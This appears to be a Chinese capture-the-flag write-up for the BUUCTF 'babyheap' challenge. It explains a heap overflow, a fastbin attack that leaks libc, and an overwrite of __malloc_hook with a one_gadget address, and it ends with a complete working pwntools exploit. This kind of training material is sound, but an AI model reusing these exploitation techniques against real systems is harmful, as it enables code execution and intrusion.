BUUCTF上的elf文件好像有问题,源码是看着大佬博客搞的,参考CTFwiki,还有大佬们的wp
太难了~~~~
allocate分配堆(==突然发现calloc申请的堆会将内存初始化,那后边的攻击不是无效了么。。。不懂。暂且先这样写)
void __fastcall allocate(__int64 a1){
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = read_num();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}}
fill函数 填充堆中的内容 而填充内容的长度是我们可以指定的并不是我们之前申请的堆的大小 同时也没有设置字符串结尾,由此,可以造成堆的溢出
__int64 __fastcall fill(chunk *a1){
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = LODWORD(a1[(signed int)result].inuse);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = read_num();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = read_content((char *)a1[v2].ptr, v3);
}
}
}
return result;}
比如说,我们创建了两个堆chunk0,chunk1
0x55a03ca22000: 0x0000000000000000 0x0000000000000021 chunk0
0x55a03ca22010: 0x0000000000000000 0x0000000000000000
0x55a03ca22020: 0x0000000000000000 0x0000000000000021 chunk1
0x55a03ca22030: 0x0000000000000000 0x0000000000000000
如果我们填充chunk0的时候,填充内容长度大于0x10,它将会溢出到chunnk1的地方,可以更改chunk1的内容
比如我们发送payload='a'*0x10+p64(0)+p64(0x41)
此时堆内容会变成
0x55a03ca22000: 0x0000000000000000 0x0000000000000021 chunk0
0x55a03ca22010: 0x6161616161616161 0x6161616161616161
0x55a03ca22020: 0x6161616161616161 0x0000000000000041 chunk1
0x55a03ca22030: 0x0000000000000000 0x0000000000000000
可以看到 chunk1的size位已经变成了0x41 这个就是我们利用溢出将chunk1的大小改变了
free函数
__int64 __fastcall free_chunk(chunk *a1){
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = LODWORD(a1[(signed int)result].inuse);
if ( (_DWORD)result == 1 )
{
LODWORD(a1[v2].inuse) = 0;
a1[v2].size = 0LL;
free(a1[v2].ptr);
result = (__int64)&a1[v2];
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;}
还有一个dump 就是输出对应索引 chunk 的内容。
1.leak libc(泄露libc地址)
1.可以根据 当unsorted bin中只有一个chunk时 这个chunk的fd,bk指向main_arena + 0x58的地址,此时如果还有一个除了它本身的索引外还有一个索引指向这个chunk,那我们就可以通过dump函数用另一个索引将这个chunk的fd输出出来(因为chunk在free的状态下,是不可以使用dunmp这个函数的),从而获取到main_arena的地址,从而泄露libc的基地址
2.接下来就要思考如何将另外一个索引指向在unsorted bin中的这个chunk,既然是一个chunk指向另一个chunk,那可以根据fastbin 来使一个chunk的fd指向另一个chunk,在fastbin中chunk是以单链表的形式存在的
例如这样:
free(chunk2)
free(chunk1)
前提是chunk1和chunk2的大小是符合fastbin的假设都为0x10(为什么申请的是0x10,而堆里边显示的是0x21呢,因为0x10申请的是用户使用的部分,而堆里边显示的0x21是包含heap的头和用户申请的)
后被free的被插在表头,类似于栈的先进后出,当分配的时候也是最后被free的最先被分配
两个chunk被free后在fastbins中的形式
fastbins
(chunk1) (chunk2)
0x20: 0x55a03ca22020 —▸ 0x55a03ca22040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
此时我们看chunk的信息
0x55a03ca22020: 0x0000000000000000 0x0000000000000021 chunk 1
0x55a03ca22030: 0x000055a03ca22040 0x0000000000000000
0x55a03ca22040: 0x0000000000000000 0x0000000000000021 chunk 2
0x55a03ca22050: 0x0000000000000000 0x0000000000000000
可以看到此时 chunk1中的fd就已经指向chunk2了
现在索引问题解决了,下一步就是让一个chunk被free后会放进unsorted bin中,如果把chunk2申请回来然后free它还是会放进fastbin中,所以 我们就需要再申请一个大小为0x80的chunk
那么问题又来了,我们使用这个0x80的chunk来泄露main_arena,而我们的chunk1中的fd是指向chunk2的,当我们再申请两个0x10的chunk时 所分配的chunk位置还是在chunk1 chunk2的原位置,但是如果我们把chunk1的fd指针更改为0x80的chunk那个位置,那么当我们申请chunk的时候 先将chunk1分配掉,然后分配chunk2的时候会把0x80的chunk所在位置分配给chunk2,那么chunk2就处在0x80的chunk那里,如果我们dump输出chunk2,那么输出的就是0x80的chunk的内容
怎么能让它指向这个0x80的chunk呢,前边提到过,可以通过堆溢出来覆盖掉下边的chunk内容,所以我们需要在申请chunk1前先申请一个chunk0用来修改chunk1的fd指向
我们将chunk1的fd指针改完之后,fastbin中的内容会变成:
fastbins
(chunk1) (0x80的chunk)
0x20: 0x55a03ca22020 —▸ 0x55a03ca22080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
此时,0x80的chunk是处于free状态的,但是它是在fastbin中,而我们想要的是它在unsorted bin中,所以我们要把它申请回来,那么我们继续申请两个大小0x10的堆的话,会先分配chunk1然后再分配0x80的chunk,但是fastbin有一个检查,在分配的时候会检查这个chunk的大小是否符合fastbin中对大小的要求,但是这个是0x80明显是不符合的,那么就需要另一个堆溢出来更改这个chunk的大小,如果说我们把这个0x80的大小申请为chunk3的话,我们没法用chunk2进行进行溢出更改,因为chunk2之前已经被我们free掉了,所以我们再申请一个0x10的chunk3
那么就可以先写上一些exp
#1.leak libc base
allocate(0x10) # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
# free idx 1, 2, fastbin[0]->idx1->idx2->NULL
free(2)
free(1)
堆中的内容为:
pwndbg> x/20gx 0x55a03ca22000
0x55a03ca22000: 0x0000000000000000 0x0000000000000021 idx 0
0x55a03ca22010: 0x0000000000000000 0x0000000000000000
0x55a03ca22020: 0x0000000000000000 0x0000000000000021 idx 1
0x55a03ca22030: 0x000055a03ca22040 0x0000000000000000
0x55a03ca22040: 0x0000000000000000 0x0000000000000021 idx 2
0x55a03ca22050: 0x0000000000000000 0x0000000000000000
0x55a03ca22060: 0x0000000000000000 0x0000000000000021 idx 3
0x55a03ca22070: 0x0000000000000000 0x0000000000000000
0x55a03ca22080: 0x0000000000000000 0x0000000000000091 idx 4
0x55a03ca22090: 0x0000000000000000 0x0000000000000000
pwndbg> fastbins
fastbins
0x20: 0x55a03ca22020 —▸ 0x55a03ca22040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
根据我们上边说的首先要更改一下idx 1里边的fd
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,len(payload),payload)
此时已经将idx 1的fd指向idx 4了
这里的p8() 是一个字节8个二进制位,也就是2位十六进制数
这样我们就可以只把0x000055a03ca22040中的40改成80 (可能是由于开启了PIE保护,所以地址是随机的但是他们之间偏移都是一样的,还没有太多研究)
这是更改后的结果
pwndbg> x/20gx 0x55a03ca22000
0x55a03ca22000: 0x0000000000000000 0x0000000000000021
0x55a03ca22010: 0x6161616161616161 0x6161616161616161
0x55a03ca22020: 0x0000000000000000 0x0000000000000021
0x55a03ca22030: 0x000055a03ca22080 0x0000000000000000
0x55a03ca22040: 0x0000000000000000 0x0000000000000021
0x55a03ca22050: 0x0000000000000000 0x0000000000000000
0x55a03ca22060: 0x0000000000000000 0x0000000000000021
0x55a03ca22070: 0x0000000000000000 0x0000000000000000
0x55a03ca22080: 0x0000000000000000 0x0000000000000091
0x55a03ca22090: 0x0000000000000000 0x0000000000000000
pwndbg> fastbins
fastbins
0x20: 0x55a03ca22020 —▸ 0x55a03ca22080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
此时会将idx4当做被free的状态,因为它在fastbin中,然后我们要将idx 4放入到unsorted bin 中 所以要申请回来,为了确保idx 4可以申请回来,要先把idx 4的size通过idx 3溢出来更改成0x21,因为在申请fastbin中的chunk时会检查chunk的size
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10) # idx 1,因为我们是后free掉idx 1的 所以这里分配先分配idx 1
此时fastbin中的内容为:
fastbins
0x20: 0x55a03ca22080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
然后继续申请一个chunk
allocate(0x10) # idx 2,我们可以看到上边fastbin中的地址为#0x55a03ca22080,所以我们的idx 2是把 #0x55a03ca22080这个地址的空间分配掉了 就相当于输出#idx2在idx4的内部,即idx2和idx4指向的是同一个位置
然后就是把idx4放入到unsorted bin中,前边我们把idx4的size改成了0x21,现在要重新改回来
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
然后free掉idx4 ,idx4就会进入unsorted bin中,idx4的fd个bk中就会存着main_arena + 0x58的地址,然后通过dump(idx2) 就会把main_arena + 0x58的地址泄露出来
allocate(0x80) # idx 5, 这里是要防止idx4被合并到top chunk中
free(4) #之后idx4的fd和bk指向main_arena
dump(2)
p.recvuntil('Content: \n')
unsortedbin_addr = u64(p.recv(8))
main_arena=unsortedbin_addr-0x58
那么得到的unsortedbin_addr再-0x58就是main_arena的地址,然后再根据libc算一下main_arena的偏移,就可以得出libc的基地址
这里算main_arena的偏移有一个工具main_arena_offset可以计算main_arena的偏移
可以得到偏移为0x3c4b20
libc_base = main_arena - 0x3c4b20
得到libc的基地址,我们可以进行下一步了
2.更改molloc_hook指向shell
我们可以利用one_gadget来找一个shell
我们已经有libc的基地址了,shell的地址加上libc的及地址就是shell的真实地址(这里边几个可以都试一下)
这里的execve('/bin/sh')就是会直接执行/bin/sh命令
然后我们就要了解一下molloc_hook
当调用 malloc 时,如果 malloc_hook 不为空则调用指向的这个函数,那么我们把我们的shell地址写入到molloc_hook中,当我们调用molloc的时候就会执行我们的shell
那我们怎么将我们的shell写入到molloc_hook中呢,由前边我们知道我们把chunk1的fd改成chunk4的地址的时候,我们再申请chunk的时候就会分配到chunk4的位置,这里也是一样的方法。
首先我们要确定一下molloc_hook的大小
gdb-peda$ x/32xw (long long)(&main_arena)-0x40
0x7f2a8a09eae0 <_IO_wide_data_0+288>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eaf0 <_IO_wide_data_0+304>: 0x8a09d260 0x00007f2a 0x00000000 0x00000000
0x7f2a8a09eb00 <__memalign_hook>: 0x89d5fe20 0x00007f2a 0x89d5fa00 0x00007f2a
0x7f2a8a09eb10 <__malloc_hook>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb20 <main_arena>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb30 <main_arena+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb40 <main_arena+32>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb50 <main_arena+48>: 0x00000000 0x00000000 0x00000000 0x00000000
这里并没有符合要求的,我们可以扩大一下范围
gdb-peda$ x/32xw (long long)(&main_arena)-0x40+0xd
0x7f2a8a09eaed <_IO_wide_data_0+301>: 0x60000000 0x2a8a09d2 0x0000007f 0x00000000
0x7f2a8a09eafd: 0x20000000 0x2a89d5fe 0x0000007f 0x2a89d5fa
0x7f2a8a09eb0d <__realloc_hook+5>: 0x0000007f 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb1d: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb2d <main_arena+13>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb3d <main_arena+29>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb4d <main_arena+45>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f2a8a09eb5d <main_arena+61>: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到在0x7f2a8a09eaed这个位置可以用来申请chunk因为是7f 所以我们可以选择申请一个0x60大小的chunk,我们把它命名为fake_chunk
再回顾一下我们现在堆的状态,chunk4是处于free状态的
我们要申请一个0x60大小的chunk,首先要去fastbin中查找,发现没有符合大小的 然后在unsortd bin中查找,因为我们之前free掉的chunk4大小为0x80所以会分割掉0x60用来申请新的堆,但是我们的chunk2也在被分割的这一部分
所以首先申请0x60大小的chunk
allocate(0x60) #这个新的堆是在chunk4中分割的,idx=4
现在我们已经有一个0x60大小的堆了,如何去申请molloc_hook那里的堆呢,我们可以把idx4再free掉,此时unsort bin里边有一个0x60的chunk就是idx4 而且我们的idx2也是在这里的,我们可以更改idx2的内容来更改idx4的fd指针
free(4)
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
这里的fake_chunk_addr就是我们的0x7f2a8a09eaed,而它的地址可以铜鼓和main_arena的偏移来计算
上边我们可以看到
0x7f2a8a09eb20 <main_arena>
0x7f2a8a09eaed
此时,我们已经将unsorted bin 中的idx4的fd指针指向我们的fake_chunk的位置了,然后我们把fake_chunk申请过来
allocate(0x60) # idx 4,unsortedbin的表头是idx4,所以先分配的是idx4,然后是idx4的fd指针所指向的位置
allocate(0x60) # idx 6,因为我们之前还申请了一个idx5来防止idx合并到top chunk 所以这里是idx6
申请到idx6了也就是我们的fake_chunk的位置,然后通过溢出来修改molloc_hook的内容将我们的shell填进去
首先来看一下fake_chunk和molloc_hook的位置关系,中间差了多少 需要覆盖多少的个字节
0x7F2A8A09EAED 0x600000002a8a09d2 0x0000007f00000000
139,820,681,259,757(10进制)
0x7F2A 8A09 EAFD 0x600000002a8a09d2 0x0000007f00000000
139,820,681,259,773(10进制)
0x7F2A 8A09 EB0D 0x60 00 00 00 2a 8a 09 d2 0x0000007f00000000
139,820,681,259,789 ...90 ...91 ...92
0x7F2A 8A09 EB1D 0x600000002a8a09d2 0x0000007f00000000
139,820,681,259,805
=============================================================================================================
=============================================================================================================
(0x7f2a8a09eb10) molloc_hook的地址转换成10进制是139,820,681,259,792
每一行都相差0x10,然后十六进制的数每两位对应一个地址,比如第三行
0x7F2A 8A09 EB0D代表的是0x60这个位置
0x7F2A 8A09 EB0E就代表的是0x00这个位置
我暂时是这么理解的
所以我们需要填充 'a'*0x13个垃圾字节然后填充shell
one_gadget_addr = libc_base + 0x4526a #这里我们之前已经找到地址了
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
allocate(0x100)
p.interactive()
完整exp:
from pwn import *
# = process("./babyheap")
p=remote('node3.buuoj.cn',27352)
#elf=ELF('./babyheap')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,st,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(st))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
allocate(0x10) # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
# free idx 1, 2, fastbin[0]->idx1->idx2->NULL
free(2)
free(1)
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,len(payload),payload)
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10) # idx 1
allocate(0x10) # idx 2, which point to idx4's location
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
allocate(0x80)
free(4)
dump(2)
unsortedbin_addr = u64(p.recv(8))
main_arena=unsortedbin_addr-0x58
libc_base = main_arena - 0x3c4b20
allocate(0x60)
free(4)
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60)
allocate(0x60)
one_gadget_addr = libc_base + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
allocate(0x100)
p.interactive()